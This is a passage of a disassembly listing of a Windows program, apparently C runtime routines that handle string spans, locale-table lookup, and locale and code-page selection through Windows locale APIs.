		test	ecx, ecx
		jz	short loc_434D13
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_434CF5
; ---------------------------------------------------------------------------

loc_434CEC:				; CODE XREF: sub_434A80+28Fj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx

loc_434CF5:				; CODE XREF: sub_434A80+26Aj
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	[ebp+var_20], eax
		jg	short loc_434D11
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_30]
		mov	word ptr [edx+ecx*2+2],	8000h
		jmp	short loc_434CEC
; ---------------------------------------------------------------------------

loc_434D11:				; CODE XREF: sub_434A80+280j
		jmp	short loc_434CC0
; ---------------------------------------------------------------------------

loc_434D13:				; CODE XREF: sub_434A80+236j
					; sub_434A80+252j ...
		mov	eax, [ebp+var_30]
		add	eax, 2
		mov	off_453CA4, eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 2
		mov	off_453CA8, ecx
		cmp	dword_4F36E8, 0
		jz	short loc_434D44
		push	2
		mov	edx, dword_4F36E8
		push	edx
		call	sub_41CA10
		add	esp, 8

loc_434D44:				; CODE XREF: sub_434A80+2B1j
		mov	eax, [ebp+var_30]
		mov	dword_4F36E8, eax
		cmp	dword_4F36EC, 0
		jz	short loc_434D66
		push	2
		mov	ecx, dword_4F36EC
		push	ecx
		call	sub_41CA10
		add	esp, 8

loc_434D66:				; CODE XREF: sub_434A80+2D3j
		mov	edx, [ebp+var_1C]
		mov	dword_4F36EC, edx
		push	2
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		xor	eax, eax
		jmp	loc_434E1C
; ---------------------------------------------------------------------------

loc_434D92:				; CODE XREF: sub_434A80+4Bj
					; sub_434A80:loc_434B4Cj ...
		push	2
		mov	edx, [ebp+var_30]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+var_2C]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, 1
		jmp	short loc_434E1C
; ---------------------------------------------------------------------------

loc_434DD1:				; CODE XREF: sub_434A80+1Bj
		mov	off_453CA4, offset word_453CAE
		mov	off_453CA8, offset word_453CAE
		push	2
		mov	eax, dword_4F36E8
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, dword_4F36EC
		push	ecx
		call	sub_41CA10
		add	esp, 8
		mov	dword_4F36E8, 0
		mov	dword_4F36EC, 0
		xor	eax, eax

loc_434E1C:				; CODE XREF: sub_434A80+30Dj
					; sub_434A80+34Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_434A80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434E20	proc near		; DATA XREF: .packed:00454394o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_434E20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434E30	proc near		; CODE XREF: .packed:0042DC5Ep
					; sub_42E310+7Bp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]

loc_434E44:				; CODE XREF: sub_434E30+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_434E51
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_434E44
; ---------------------------------------------------------------------------

loc_434E51:				; CODE XREF: sub_434E30+18j
		mov	esi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		nop

loc_434E58:				; CODE XREF: sub_434E30+34j
		inc	ecx
		mov	al, [esi]
		or	al, al
		jz	short loc_434E66
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_434E58

loc_434E66:				; CODE XREF: sub_434E30+2Dj
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
sub_434E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434E70	proc near		; CODE XREF: .packed:0042DB7Dp

var_24		= dword	ptr -24h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+arg_4]
		lea	ecx, [ecx+0]

loc_434E84:				; CODE XREF: sub_434E70+1Fj
		mov	al, [edx]
		or	al, al
		jz	short loc_434E91
		inc	edx
		bts	[esp+24h+var_24], eax
		jmp	short loc_434E84
; ---------------------------------------------------------------------------

loc_434E91:				; CODE XREF: sub_434E70+18j
		mov	esi, [ebp+arg_0]

loc_434E94:				; CODE XREF: sub_434E70+2Fj
		mov	al, [esi]
		or	al, al
		jz	short loc_434EA4
		inc	esi
		bt	[esp+24h+var_24], eax
		jnb	short loc_434E94
		lea	eax, [esi-1]

loc_434EA4:				; CODE XREF: sub_434E70+28j
		add	esp, 20h
		pop	esi
		leave
		retn
sub_434E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434EB0	proc near		; CODE XREF: sub_42E120+D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_4F3734, 0
		jnz	short loc_434EE2
		call	sub_435980
		test	eax, eax
		jz	short loc_434ED2
		mov	eax, dword_4F5398
		mov	[ebp+var_8], eax
		jmp	short loc_434ED9
; ---------------------------------------------------------------------------

loc_434ED2:				; CODE XREF: sub_434EB0+16j
		mov	[ebp+var_8], offset sub_4359D0

loc_434ED9:				; CODE XREF: sub_434EB0+20j
		mov	ecx, [ebp+var_8]
		mov	dword_4F3734, ecx

loc_434EE2:				; CODE XREF: sub_434EB0+Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_434EF2
		call	sub_4357D0
		jmp	loc_434FBE
; ---------------------------------------------------------------------------

loc_434EF2:				; CODE XREF: sub_434EB0+36j
		mov	edx, [ebp+arg_0]
		mov	dword_4F3724, edx
		cmp	dword_4F3724, 0
		jz	short loc_434F24
		mov	eax, dword_4F3724
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_434F24
		push	offset dword_4F3724
		push	40h
		push	offset off_454BE0
		call	sub_4350B0
		add	esp, 0Ch

loc_434F24:				; CODE XREF: sub_434EB0+52j
					; sub_434EB0+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		mov	dword_4F3728, edx
		cmp	dword_4F3728, 0
		jz	short loc_434F59
		mov	eax, dword_4F3728
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_434F59
		push	offset dword_4F3728
		push	16h
		push	offset off_454B28
		call	sub_4350B0
		add	esp, 0Ch

loc_434F59:				; CODE XREF: sub_434EB0+87j
					; sub_434EB0+93j
		mov	dword_4F372C, 0
		cmp	dword_4F3724, 0
		jz	short loc_434F9D
		mov	edx, dword_4F3724
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_434F9D
		cmp	dword_4F3728, 0
		jz	short loc_434F96
		mov	ecx, dword_4F3728
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_434F96
		call	sub_435140
		jmp	short loc_434F9B
; ---------------------------------------------------------------------------

loc_434F96:				; CODE XREF: sub_434EB0+D0j
					; sub_434EB0+DDj
		call	sub_435530

loc_434F9B:				; CODE XREF: sub_434EB0+E4j
		jmp	short loc_434FBE
; ---------------------------------------------------------------------------

loc_434F9D:				; CODE XREF: sub_434EB0+BAj
					; sub_434EB0+C7j
		cmp	dword_4F3728, 0
		jz	short loc_434FB9
		mov	eax, dword_4F3728
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_434FB9
		call	sub_4356D0
		jmp	short loc_434FBE
; ---------------------------------------------------------------------------

loc_434FB9:				; CODE XREF: sub_434EB0+F4j
					; sub_434EB0+100j
		call	sub_4357D0

loc_434FBE:				; CODE XREF: sub_434EB0+3Dj
					; sub_434EB0:loc_434F9Bj ...
		cmp	dword_4F372C, 0
		jnz	short loc_434FCE
		xor	eax, eax
		jmp	loc_4350AC
; ---------------------------------------------------------------------------

loc_434FCE:				; CODE XREF: sub_434EB0+115j
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_435800
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_434FFC
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		push	eax
		call	dword_4F52F4	; IsValidCodePage
		test	eax, eax
		jnz	short loc_435003

loc_434FFC:				; CODE XREF: sub_434EB0+137j
		xor	eax, eax
		jmp	loc_4350AC
; ---------------------------------------------------------------------------

loc_435003:				; CODE XREF: sub_434EB0+14Aj
		push	1
		mov	ecx, dword_4F3714
		push	ecx
		call	dword_4F52F8	; IsValidLocale
		test	eax, eax
		jnz	short loc_43501D
		xor	eax, eax
		jmp	loc_4350AC
; ---------------------------------------------------------------------------

loc_43501D:				; CODE XREF: sub_434EB0+164j
		cmp	[ebp+arg_4], 0
		jz	short loc_435048
		mov	edx, [ebp+arg_4]
		mov	ax, word ptr dword_4F3714
		mov	[edx], ax
		mov	ecx, [ebp+arg_4]
		mov	dx, word ptr dword_4F3730
		mov	[ecx+2], dx
		mov	eax, [ebp+arg_4]
		mov	cx, word ptr [ebp+var_4]
		mov	[eax+4], cx

loc_435048:				; CODE XREF: sub_434EB0+171j
		cmp	[ebp+arg_8], 0
		jz	short loc_4350A7
		push	40h
		mov	edx, [ebp+arg_8]
		push	edx
		push	1001h
		mov	eax, dword_4F3714
		push	eax
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_43506D
		xor	eax, eax
		jmp	short loc_4350AC
; ---------------------------------------------------------------------------

loc_43506D:				; CODE XREF: sub_434EB0+1B7j
		push	40h
		mov	ecx, [ebp+arg_8]
		add	ecx, 40h
		push	ecx
		push	1002h
		mov	edx, dword_4F3730
		push	edx
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_435090
		xor	eax, eax
		jmp	short loc_4350AC
; ---------------------------------------------------------------------------

loc_435090:				; CODE XREF: sub_434EB0+1DAj
		push	0Ah
		mov	eax, [ebp+arg_8]
		add	eax, 80h
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_430220
		add	esp, 0Ch

loc_4350A7:				; CODE XREF: sub_434EB0+19Cj
		mov	eax, 1

loc_4350AC:				; CODE XREF: sub_434EB0+119j
					; sub_434EB0+14Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_434EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4350B0	proc near		; CODE XREF: sub_434EB0+6Cp
					; sub_434EB0+A1p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 1
		mov	[ebp+var_C], 0

loc_4350C4:				; CODE XREF: sub_4350B0:loc_43512Cj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jg	short loc_43512E
		cmp	[ebp+var_8], 0
		jz	short loc_43512E
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*8]
		push	eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		push	edx
		call	sub_420F10
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_435112
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*8+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		jmp	short loc_43512C
; ---------------------------------------------------------------------------

loc_435112:				; CODE XREF: sub_4350B0+4Fj
		cmp	[ebp+var_8], 0
		jge	short loc_435123
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_43512C
; ---------------------------------------------------------------------------

loc_435123:				; CODE XREF: sub_4350B0+66j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx

loc_43512C:				; CODE XREF: sub_4350B0+60j
					; sub_4350B0+71j
		jmp	short loc_4350C4
; ---------------------------------------------------------------------------

loc_43512E:				; CODE XREF: sub_4350B0+1Aj
					; sub_4350B0+20j
		mov	esp, ebp
		pop	ebp
		retn
sub_4350B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435140	proc near		; CODE XREF: sub_434EB0+DFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3724
		push	eax
		call	sub_41BC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4F3720, ecx
		mov	edx, dword_4F3728
		push	edx
		call	sub_41BC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4F3718, ecx
		mov	dword_4F3714, 0
		cmp	dword_4F3720, 0
		jz	short loc_435199
		mov	[ebp+var_4], 2
		jmp	short loc_4351AB
; ---------------------------------------------------------------------------

loc_435199:				; CODE XREF: sub_435140+4Ej
		mov	edx, dword_4F3724
		push	edx
		call	sub_435BE0
		add	esp, 4
		mov	[ebp+var_4], eax

loc_4351AB:				; CODE XREF: sub_435140+57j
		mov	eax, [ebp+var_4]
		mov	dword_4F371C, eax
		push	1
		push	offset sub_435200
		call	dword_4F52F0	; EnumSystemLocalesA
		mov	ecx, dword_4F372C
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_4351EC
		mov	edx, dword_4F372C
		and	edx, 200h
		test	edx, edx
		jz	short loc_4351EC
		mov	eax, dword_4F372C
		and	eax, 7
		test	eax, eax
		jnz	short loc_4351F6

loc_4351EC:				; CODE XREF: sub_435140+8Ej
					; sub_435140+9Ej
		mov	dword_4F372C, 0

loc_4351F6:				; CODE XREF: sub_435140+AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_435140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435200	proc near		; DATA XREF: sub_435140+75o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435B60
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3718
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_435254

loc_435240:				; DATA XREF: .packed:00454864o
					; .packed:off_44BF54o
		mov	dword_4F372C, 0
		mov	eax, 1
		jmp	loc_43551E
; ---------------------------------------------------------------------------

loc_435254:				; CODE XREF: sub_435200+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3728
		push	edx
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	loc_43538F
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4F3720
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_4352AE
		mov	dword_4F372C, 0
		mov	eax, 1
		jmp	loc_43551E
; ---------------------------------------------------------------------------

loc_4352AE:				; CODE XREF: sub_435200+98j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4F3724
		push	ecx
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_4352F0
		mov	edx, dword_4F372C
		or	edx, 304h
		mov	dword_4F372C, edx
		mov	eax, [ebp+var_7C]
		mov	dword_4F3730, eax
		mov	ecx, dword_4F3730
		mov	dword_4F3714, ecx
		jmp	loc_43538F
; ---------------------------------------------------------------------------

loc_4352F0:				; CODE XREF: sub_435200+C3j
		mov	edx, dword_4F372C
		and	edx, 2
		test	edx, edx
		jnz	loc_43538F
		cmp	dword_4F371C, 0
		jz	short loc_43535D
		mov	eax, dword_4F371C
		push	eax
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3724
		push	edx
		call	sub_438F10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43535D
		mov	eax, dword_4F372C
		or	al, 2
		mov	dword_4F372C, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3730, ecx
		mov	edx, dword_4F3724
		push	edx

loc_435343:				; DATA XREF: .packed:004548E8o
		call	sub_41BC70
		add	esp, 4
		cmp	eax, dword_4F371C
		jnz	short loc_43535B
		mov	eax, [ebp+var_7C]
		mov	dword_4F3714, eax

loc_43535B:				; CODE XREF: sub_435200+151j
		jmp	short loc_43538F
; ---------------------------------------------------------------------------

loc_43535D:				; CODE XREF: sub_435200+108j
					; sub_435200+125j
		mov	ecx, dword_4F372C
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_43538F
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_4358A0
		add	esp, 4
		test	eax, eax
		jz	short loc_43538F
		mov	eax, dword_4F372C
		or	al, 1
		mov	dword_4F372C, eax
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3730, ecx

loc_43538F:				; CODE XREF: sub_435200+69j
					; sub_435200+EBj ...
		mov	edx, dword_4F372C
		and	edx, 300h
		cmp	edx, 300h
		jz	loc_435511
		push	78h
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4F3720
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFF002h
		add	ecx, 1001h
		push	ecx
		mov	edx, [ebp+var_7C]
		push	edx
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_4353E6
		mov	dword_4F372C, 0
		mov	eax, 1
		jmp	loc_43551E
; ---------------------------------------------------------------------------

loc_4353E6:				; CODE XREF: sub_435200+1D0j
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4F3724
		push	ecx
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	loc_4354B0
		mov	edx, dword_4F372C
		or	dh, 2
		mov	dword_4F372C, edx
		cmp	dword_4F3720, 0
		jz	short loc_43543A
		mov	eax, dword_4F372C
		or	ah, 1
		mov	dword_4F372C, eax
		cmp	dword_4F3714, 0
		jnz	short loc_435438
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3714, ecx

loc_435438:				; CODE XREF: sub_435200+22Dj
		jmp	short loc_4354AE
; ---------------------------------------------------------------------------

loc_43543A:				; CODE XREF: sub_435200+217j
		cmp	dword_4F371C, 0
		jz	short loc_43548F
		mov	edx, dword_4F3724
		push	edx
		call	sub_41BC70
		add	esp, 4
		cmp	eax, dword_4F371C
		jnz	short loc_43548F
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4358F0
		add	esp, 8
		test	eax, eax
		jz	short loc_43548D
		mov	ecx, dword_4F372C
		or	ch, 1
		mov	dword_4F372C, ecx
		cmp	dword_4F3714, 0
		jnz	short loc_43548D
		mov	edx, [ebp+var_7C]
		mov	dword_4F3714, edx

loc_43548D:				; CODE XREF: sub_435200+26Aj
					; sub_435200+282j
		jmp	short loc_4354AE
; ---------------------------------------------------------------------------

loc_43548F:				; CODE XREF: sub_435200+241j
					; sub_435200+258j
		mov	eax, dword_4F372C
		or	ah, 1
		mov	dword_4F372C, eax
		cmp	dword_4F3714, 0
		jnz	short loc_4354AE
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3714, ecx

loc_4354AE:				; CODE XREF: sub_435200:loc_435438j
					; sub_435200:loc_43548Dj ...
		jmp	short loc_435511
; ---------------------------------------------------------------------------

loc_4354B0:				; CODE XREF: sub_435200+1FBj
		cmp	dword_4F3720, 0
		jnz	short loc_435511
		cmp	dword_4F371C, 0
		jz	short loc_435511
		mov	edx, dword_4F371C
		push	edx
		lea	eax, [ebp+var_78]
		push	eax
		mov	ecx, dword_4F3724
		push	ecx
		call	sub_438F10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_435511
		push	0
		mov	edx, [ebp+var_7C]
		push	edx
		call	sub_4358F0
		add	esp, 8
		test	eax, eax
		jz	short loc_435511
		mov	eax, dword_4F372C
		or	ah, 1
		mov	dword_4F372C, eax
		cmp	dword_4F3714, 0
		jnz	short loc_435511
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3714, ecx

loc_435511:				; CODE XREF: sub_435200+1A1j
					; sub_435200:loc_4354AEj ...
		mov	eax, dword_4F372C
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax

loc_43551E:				; CODE XREF: sub_435200+4Fj
					; sub_435200+A9j ...
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435530	proc near		; CODE XREF: sub_434EB0:loc_434F96p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3724
		push	eax
		call	sub_41BC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4F3720, ecx
		cmp	dword_4F3720, 0
		jz	short loc_435562
		mov	[ebp+var_4], 2
		jmp	short loc_435574
; ---------------------------------------------------------------------------

loc_435562:				; CODE XREF: sub_435530+27j
		mov	edx, dword_4F3724
		push	edx
		call	sub_435BE0
		add	esp, 4
		mov	[ebp+var_4], eax

loc_435574:				; CODE XREF: sub_435530+30j
		mov	eax, [ebp+var_4]
		mov	dword_4F371C, eax
		push	1
		push	offset sub_4355B0
		call	dword_4F52F0	; EnumSystemLocalesA
		mov	ecx, dword_4F372C
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_4355A0
		mov	dword_4F372C, 0

loc_4355A0:				; CODE XREF: sub_435530+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_435530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4355B0	proc near		; DATA XREF: sub_435530+4Eo

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435B60
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3720
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF002h
		add	edx, 1001h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_435604
		mov	dword_4F372C, 0
		mov	eax, 1
		jmp	loc_4356C9
; ---------------------------------------------------------------------------

loc_435604:				; CODE XREF: sub_4355B0+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3724
		push	edx
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_435659
		cmp	dword_4F3720, 0
		jnz	short loc_435636
		push	1
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4358F0
		add	esp, 8
		test	eax, eax
		jz	short loc_435657

loc_435636:				; CODE XREF: sub_4355B0+72j
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3730, ecx
		mov	edx, dword_4F3730
		mov	dword_4F3714, edx
		mov	eax, dword_4F372C
		or	al, 4
		mov	dword_4F372C, eax

loc_435657:				; CODE XREF: sub_4355B0+84j
		jmp	short loc_4356BC
; ---------------------------------------------------------------------------

loc_435659:				; CODE XREF: sub_4355B0+69j
		cmp	dword_4F3720, 0
		jnz	short loc_4356BC
		cmp	dword_4F371C, 0
		jz	short loc_4356BC
		mov	ecx, dword_4F371C
		push	ecx
		lea	edx, [ebp+var_78]
		push	edx
		mov	eax, dword_4F3724
		push	eax
		call	sub_438F10
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4356BC
		push	0
		mov	ecx, [ebp+var_7C]
		push	ecx
		call	sub_4358F0
		add	esp, 8
		test	eax, eax
		jz	short loc_4356BC
		mov	edx, [ebp+var_7C]
		mov	dword_4F3730, edx
		mov	eax, dword_4F3730
		mov	dword_4F3714, eax
		mov	ecx, dword_4F372C
		or	ecx, 4
		mov	dword_4F372C, ecx

loc_4356BC:				; CODE XREF: sub_4355B0:loc_435657j
					; sub_4355B0+B0j ...
		mov	eax, dword_4F372C
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax

loc_4356C9:				; CODE XREF: sub_4355B0+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4355B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4356D0	proc near		; CODE XREF: sub_434EB0+102p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F3728
		push	eax
		call	sub_41BC70
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4F3718, ecx
		push	1
		push	offset sub_435720
		call	dword_4F52F0	; EnumSystemLocalesA
		mov	edx, dword_4F372C
		and	edx, 4
		test	edx, edx
		jnz	short loc_435713
		mov	dword_4F372C, 0

loc_435713:				; CODE XREF: sub_4356D0+37j
		pop	ebp
		retn
sub_4356D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435720	proc near		; DATA XREF: sub_4356D0+21o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435B60
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3718
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_435771
		mov	dword_4F372C, 0
		mov	eax, 1
		jmp	short loc_4357C6
; ---------------------------------------------------------------------------

loc_435771:				; CODE XREF: sub_435720+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4F3728
		push	edx
		call	sub_420F10
		add	esp, 8
		test	eax, eax
		jnz	short loc_4357B9
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_4358A0
		add	esp, 4
		test	eax, eax
		jz	short loc_4357B9
		mov	ecx, [ebp+var_7C]
		mov	dword_4F3730, ecx
		mov	edx, dword_4F3730
		mov	dword_4F3714, edx
		mov	eax, dword_4F372C
		or	al, 4
		mov	dword_4F372C, eax

loc_4357B9:				; CODE XREF: sub_435720+66j
					; sub_435720+76j
		mov	eax, dword_4F372C
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax

loc_4357C6:				; CODE XREF: sub_435720+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_435720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4357D0	proc near		; CODE XREF: sub_434EB0+38p
					; sub_434EB0:loc_434FB9p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F372C
		or	eax, 104h
		mov	dword_4F372C, eax
		call	dword_4F52EC	; GetUserDefaultLCID
		mov	dword_4F3730, eax
		mov	ecx, dword_4F3730
		mov	dword_4F3714, ecx
		pop	ebp
		retn
sub_4357D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435800	proc near		; CODE XREF: sub_434EB0+128p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jz	short loc_43582B
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_43582B
		push	offset off_43DECC
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jnz	short loc_435853

loc_43582B:				; CODE XREF: sub_435800+Aj
					; sub_435800+14j
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	1004h
		mov	ecx, dword_4F3730
		push	ecx
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_43584B
		xor	eax, eax
		jmp	short loc_435897
; ---------------------------------------------------------------------------

